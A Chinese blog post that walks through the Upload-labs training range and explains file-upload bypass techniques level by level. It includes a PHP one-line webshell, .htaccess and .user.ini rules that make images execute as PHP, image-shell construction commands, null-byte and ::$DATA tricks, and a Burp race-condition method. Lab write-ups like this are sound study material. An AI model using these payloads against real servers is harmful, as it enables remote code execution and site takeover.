文件上传漏洞

3953 字
20 分钟
文件上传漏洞

文件上传漏洞#

原理#

Web 应用处理上传时,未严格校验文件类型、内容、后缀,导致恶意文件被上传、存储并解析执行。

漏洞存在的要素#

  1. 存在攻击点:头像、附件、文档等上传功能
  2. 校验不严:前端 / 后端校验可被绕过
  3. 文件可访问:上传路径可预测
  4. 可被解析:服务器当作脚本执行(.php/.jsp/.asp

文件漏洞的判断标准#

  • 文件类型是否被校验
  • 文件名是否被过滤
  • 文件内容是否被检查
  • 文件是否被重命名

探索文件上传漏洞的步骤#

  1. 在上传的地方先上传一个合法的图片test.jpg,是否正常显示/下载,返回的路径是什么,文件名是否被改变。(可能由时间戳修饰)
  2. 上传一个明显的恶意文件test.php

常见的防御及其绕过方法#

  1. 白名单扩展名:只允许 .jpg/.png/.gif,换其他可解析扩展名(.php5.phtml);双扩展名(.php.jpg
  2. 黑名单扩展名,黑名单是罗列不全的
  3. Content-Type 检查:抓包改 Content-Typeimage/jpeg
  4. 文件头检查(魔术数字):图片马(在文件前加 GIF89a 等),修改Hex为jpg的格式
  5. 内容检测:检测文件中的恶意代码,用更隐蔽的代码;图片马;分块上传
  6. 文件重命名,随机化文件名,保留扩展名
  7. WAF:检测上传流量, 混淆 Payload;分块传输;编码绕过

Upload-labs#

Less-1:前端 JavaScript 验证,#

打开BP后,上传.php代码发现BP没收到拦截,就发生报错提示,说明是前端JavaScript验证

方法一:利用NoScript套件(FIrefox的一个插件)#

禁用JS代码

方法二:Burp Suite 抓包改包#

上传3.jpg,用BP改成3.php发送,之后配合蚁剑等进行提权

方法三:改前端源码#

将前端的JavaScript中的<form … onsubmit=“return checkFile()“>中onsubmit=“return checkFile()“删除或者改为true.

Less-2:后端验证(修改 Content-Type)#

将BP抓的包(3.php)Content-Type: application/octet-stream中的Content-Type: image/jpeg

Less-3:黑名单绕过#

  1. 现在一般用白名单,黑名单是不能面面俱到的。

​ .php|.phtml|.php3|.php4|.php5|.pht

  1. 上传.htaccess来自定义规则(这个只对APache服务器有效)

​ .htaccess 是 Apache 服务器用来控制目录配置的隐藏文件

//把当前目录下的所有文件都强制当作 PHP 程序来运行

SetHandler application/x-httpd-php

这样显示就是服务器没有把 .php3 当作 PHP 脚本执行,而是把它当成了一个普通的文本文件下载或显示了

所以要在Web 服务器(通常是 Apache 或 Nginx)配置里将.php3关联到PHP上

#单纯想做这道题可以更改Apache的httpd-conf文件
AddType application/x-httpd-php .php .php3 .php5
#再将php的版本改一下(可以选择php5.3.29)

.htaccess配置#

在 Windows 版的 Apache 环境中,.htaccess 文件里的 SetHandler application/x-httpd-php 通常是不生效的

Less-4:黑名单过滤机制#

禁止上传几乎所有常见的可执行脚本后缀(如.php.php5.phtml.jsp.asp等)

创建 .htaccess 文件

#让服务器将所有 .jpg 后缀的文件当作 PHP 脚本来解析执行
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>

一句话木马(图片马的构建)

<?php @eval($_POST['cmd']); ?>
#将其改为图片马
copy /b 1.jpg + 2.txt shell.jpg #/b参数表示以二进制模式合并
#十六进制编辑器(如 010 Editor)把代码“藏”进去,可以绕过对<?php的拦截 ,可以用base63编码
#利用图片属性(Exif 信息):在详细信息中写入<?php @eval($_POST['cmd']);?>

这里我的始终显示,蚁剑没有连接,我更改了(.htaccess和.user.ini配置文件,可以再改一下httpd-conf),最多报出PHP版本问题

httpd.conf(Web服务器),全局(所有站点),c,最低(被后两者覆盖)

.htaccess(Web服务器),当前目录及子目录,普通用户可创建,最高(覆盖 httpd.conf)

.user.ini(编程语言),当前目录及子目录,普通用户可创建,独立(PHP层面)

php.ini: PHP,PHP安装目录 bin/,PHP安装目录 bin/,最低(被覆盖)

加载方式是先加载php.ini/httpd-conf文件中的配置,如果再某个目录下存在.user.ini/.htaccess文件,服务器会在处理请求时检查改目录,并覆盖目录的下配置项

.user.ini文件上传漏洞的前提可以生效并且上传目录有.php文件

我的配置文件在第四关和第五关的时候改了配置,现在靶场打不开了,我现在后面的关卡看WP#

后面有的题目是下一个题的(比如说有的题库是第八题有的题库是第七题)#

Less-5:.user.ini 绕过,点加空格加点(适合旧版本)#

#编写 .user.ini 文件,它的作用是让当前目录下所有的 PHP 文件都自动包含 shell.jpg 这个文件
auto_prepend_file = shell.jpg #这里的shell.jpg是一句话生成的图片马
#访问http://你的靶场地址/upload/readme.php,用蚁剑等连接

可以用点加空格加点漏洞(有的是第四关)#

第三关:重新生成的(时间戳+随机数+扩展名)

$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(100,999).$file_ext;

第五关:用户原始文件名(处理后的)

$img_path = UPLOAD_PATH.'/'.$file_name;
#点加空格加点
shell.php. .
#前面是各种黑名单
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

Less-6:大小写绕过#

$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); // 删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
// ★ 关键:这里没有 strtolower() 转换小写!
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);

大小写绕过(适用于特定源码)

shell.Php, shell.PHp

Less-7:末尾添加点(.#

$file_name = trim($_FILES['upload_file']['name']);
// ★ 关键:这里没有调用 deldot() 删除末尾的点!
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext); // 首尾去空

后端检测时以为后缀时点(.)

Less-8:::$DATA 备用数据流末尾点绕过#

$file_name = trim($_FILES['upload_file']['name']);
// ★ 关键:这里没有调用 deldot() 删除末尾的点!
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
// ★ 另一处关键:这一行是处理 ::$DATA 的,但没有完全过滤掉
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);

可以写成shell.php.::$DATA(点加::$DATA)

::$DATA 会被系统底层自动处理

这其实是打了一个时间差(先交给黑名单,再在windows系统中上传)

  1. PHP 收到这个文件名,进行扩展名检查:
    • 代码取后缀:strrchr($file_name, '.') → 得到 ".php::$DATA"
    • 部分旧代码没有过滤或只过滤一次
    • 导致扩展名变成 ".php::$DATA",黑名单中没有这个值 → 检查通过
  2. move_uploaded_file 保存时
    • 交给 Windows 文件系统 API
    • Windows 看到 ::$DATA,理解为“操作默认数据流”
    • 最终实际创建的文件是 shell.php

Less-9:点 + 空格 + 点#

$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); // 删除末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = trim($file_ext); // ★ 这里去掉了空格,但没有去掉点?
$file_ext = str_ireplace('::$DATA', '', $file_ext);

deldot这里的删除点的函数时从后往前删除的

Less-10:**字符串替换(str_ireplace)**代替黑名单,双写绕过#

// ★ 这里的过滤逻辑变了:不是 in_array() 检查,而是直接替换!
$file_name = str_ireplace($deny_ext, '', $file_name);

这里从匹配检查转换成了替换删除

漏洞前提:

  1. 单次替换
  2. 拼接保存

Less-11:00截断(php5.3之前的版本可以用,magic_quotes_gpc = Off(否则 %00 会被转义))(GET传递)#

这里是白名单

if (isset($_POST['submit'])) {
// 白名单:只允许图片后缀
$ext_arr = array('jpg', 'png', 'gif');
// 获取上传文件的后缀名
$file_ext = substr($_FILES['upload_file']['name'],
strrpos($_FILES['upload_file']['name'], ".") + 1);
// 检查后缀是否在白名单中
if (in_array($file_ext, $ext_arr)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
// 关键漏洞:save_path 是 GET 参数,用户可以控制
$img_path = $_GET['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext;

当 PHP 在处理路径字符串时遇到 %00(URL 编码后的 \0),会将其视为字符串的终点

通过修改GET参数将其改为http://target/Pass-11/index.php?save_path=../upload/shell.php%00

直接BP抓包改地址栏,添加00截断:/upload/shell.php%00

Less-12:00截断(POST传递)#

0x00截断

这里抓包时00用Hex编码#

因为第十一关:浏览器/服务器会自动进行 URL 解码,将 %00 识别为截断符;第十二关:自动解码 %00,需要手动将其转换为真正的空字节(0x00),需要在 Hex 模式下,找到对应字符并将其修改为 00

手动在 Hex 模式下把 %00 的 ASCII 码替换成真正的 0x00

Less-13:文件包含漏洞#

function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); // 只读取文件的前2个字节
fclose($file);
// 将二进制头两个字节拼接成一个整数
$strInfo = @unpack("C2chars", $bin);#一个标准 JPG 文件的文件头是 0xFF 0xD8,对应十进制就是 255 和 216,拼起来就是 255216。
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
// 通过这个整数判断文件类型
switch($typeCode){
case 255216: // 对应十六进制 FF D8
$fileType = 'jpg';
break;
case 13780: // 对应十六进制 89 50
$fileType = 'png';
break;
case 7173: // 对应十六进制 47 49 (GIF)
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

重命名保存:通过验证后,它会用检测出的 $file_type(如 jpg)作为后缀名来保存文件。这意味着,我们无法再靠改后缀名 .php 来直接获得shell

http://your-ip/include.php?file=upload/20240515123456.jpg

include文件包含

<?php
$file = $_GET['file'];
if(isset($file)){
include $file; #没有任何的过滤和限制
}else{
show_source(__FILE__);
}
?>

可以直接在BP里面直接改(在RAW里一堆二进制内容里面改)#

GIF89a<?php @eval($_POST['cmd']); ?>[后面是原图片的二进制数据]

这里的GIF89a是GIF 文件的文件头签名

或者利用十六进制编译器进行修改前两个字符#

Less-15(中间有的题库是多了一道00截断的题目,这里统一一下进度):和第十四关核心思路一样,只是换了一种检测方式。#

第十四关读的是文件头的2个字节,第十五关用的是 getimagesize() 函数——它会把整个文件头解析一遍,确认是不是一张真正的图片。

$type = exif_imagetype($_FILES['upload_file']['tmp_name']);
// 或者 getimagesize() 函数
if (!$type) {
$msg = "不是真正的图片!";
return false;
}

getimagesize() 做了什么

  • 读取文件的头部信息,尝试解析图片的宽度、高度等属性
  • 如果解析成功,返回数组;如果失败,说明不是一张有效的图片
Terminal window
copy 1.jpg /b + shell.php /a result.jpg

很多版本的 getimagesize() 只检查前几个字节就放行了,可以选择插入到后面

Less-16:二次渲染#

二次渲染:服务器会使用 PHP 的图形库(GD库)将你上传的图片彻底解码,再重新编码生成一张全新的图片

重点:找到图片在二次渲染前后,都保持不变的区块

  1. 准备一个正常的 GIF 图片(其他的二次渲染后的二进制差别较大),先上传一次
  2. 下载文件后用十六进制编译器来拿对比找出不变的区域
  3. 在不变的区域后面插入一句话木马(用十六进制)
#一句话木马 <?php @eval($_POST['cmd']);?> 对应的十六进制为:
3C 3F 70 68 70 20 40 65 76 61 6C 28 24 5F 50 4F 53 54 5B 27 63 6D 64 27 5D 29 3B 3F 3E

为什么用GIF:GIF 是无损压缩格式,图像数据是直接被编码保存的,而 JPG 是有损压缩,渲染前后的图像数据变化巨大,几乎找不到一块未被修改的区域去稳定地插入代码,绕过难度非常高。

这里可以尝试用二次渲染后的图片木马再次进行渲染(插入一句话木马),发现没有区别。

Less-17:条件竞争(逻辑漏洞) 多线程竞争#

#这里是先进行上传再进行检查(在上传和检查期间shell.php文件存活了极小的时间,要利用这个时间差)
$img_path = UPLOAD_PATH . '/' . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
if (in_array($file_ext, $ext_arr)) {
$is_upload = true;
} else {
// 不合法,删除文件
unlink($img_path); // ← 删除操作在保存之后!
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
} else {
$msg = '上传出错!';
}
}

利用BurpSuit的Intruder模块进行多线程无线发送

  1. 选择你刚准备好的 test.php 文件,点击上传。

  2. 打开Burp Suite拦截请求,把抓到的数据包发送到 Intruder 模块

  3. 在数据包的 filename="test.php" 后面随便加一个参数,比如 ?a=§1§,然后把 1 这个数字设为变量(Payload位置)

  4. 选择Payloads类型,线程数设为20(或者更多)。

  5. 另外打开一个浏览器标签页,直接访问你刚才上传的文件路径,比如 http://你的靶场地址/upload/test.php

  6. 同样在Intruder后面加一个参数,设置Payloads,将线程调高,不断访问它。

Web服务器在解析PHP文件时,会忽略URL中 ? 之后的所有内容

这里可能因为线程少或文件存活时间短,访问不到test.php

Less-18:条件竞争#

不同于第十七关:上传前检查、上传后重命名

// 第一步:检查后缀名(上传前检查)
if(in_array($file_ext, $ext_arr)){
// 生成新文件名:时间戳 + 随机数 + 原后缀
$new_file_name = date("YmdHis").'_'.rand(100,999).'.'.$file_ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
// 第二步:移动文件到保存路径
if(move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
//文件刚上传成功,就被当作 PHP 脚本包含执行了
include $img_path;
//图片马被 include 时,里面的 PHP 代码会执行
} else {
$msg = '上传出错!';
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这里有的版本是直接用 或者用图片马不需要多线程竞争,因为 include 会自动触发执行。

有的版本是多加了后缀的检测:可以用Apache的解析漏洞(从后往前解析):用shell.php.jpg这样的文件

//多了myupload.php
function upload( $dir ) {
//省略白名单
//先检查文件扩展名是否在白名单中
$ret = $this->checkExtension();
//通过检查后,立即将文件从 tmp 目录移动到目标目录
//此时文件名为我们上传时的原始名称
$ret = $this->move();
// 3. 文件保存成功后,最后再对其进行重命名
// 这里存在一个极短的时间窗口
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
}
// ...
}

通过条件竞争,赶在服务器将文件名改为随机字符串之前,访问并执行我们上传的图片马

和第十七关的BP的Intruder攻击一样。用多线程攻击(一个无限攻击,一个无限访问)。

Less-19:基于黑名单的参数注入#

$file_name = $_POST['save_name']; //用户可控输入
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION); // 取后缀
$deny_ext = array("php","asp",...);
if(!in_array($file_ext, $deny_ext)) {
move_uploaded_file($temp_file, UPLOAD_PATH . '/' . $file_name);
}

绕过手法:

  1. move_uploaded_file() 函数在处理文件路径时,会自动忽略文件末尾的 / 或 .

    将save_name修改为shell.php. 或shell.php/

  2. 用BP抓包修改save_name为shell.php .jpg(00截断:将这里的空格用Hex编码改为00),或者用weindows自带的漏洞机制改为shell.php::$DATA

访问shell.php

Less-20:数组绕过#

// 检查 MIME 类型(可以用BP修改Content-Type)
$allow_type = array('image/jpeg', 'image/png', 'image/gif');
if(!in_array($_FILES['upload_file']['type'], $allow_type)) {
$msg = "禁止上传该类型文件!";
} else {
// 获取文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
// 如果 $file 是数组,这里会出错;如果不是数组,正常处理
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
// 获取扩展名
$ext = end($file);
$allow_suffix = array('jpg', 'png', 'gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
} else {
$file_name = reset($file) . '.' $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

获取扩展名的方式$ext = end($file);

和拼接file的方式不一样$file[count($file) - 1];

这里利用count只确定有效值的个数

例如:a[0]=1.php.;a[1]=1;a[8]=jpg

这里count(a)=3,$ext = end($file)是jpg

file[count(file[count(file) - 1]是a[2]=null;

文件上传漏洞
https://fengblog.cc.cd/posts/文件上传漏洞/
作者
风吹醒点
发布于
2025-05-23
许可协议
CC BY-NC-SA 4.0
分类
标签
站点统计
文章
6
分类
3
标签
8
总字数
14,452
运行时长
0
最后活动
0 天前

文章目录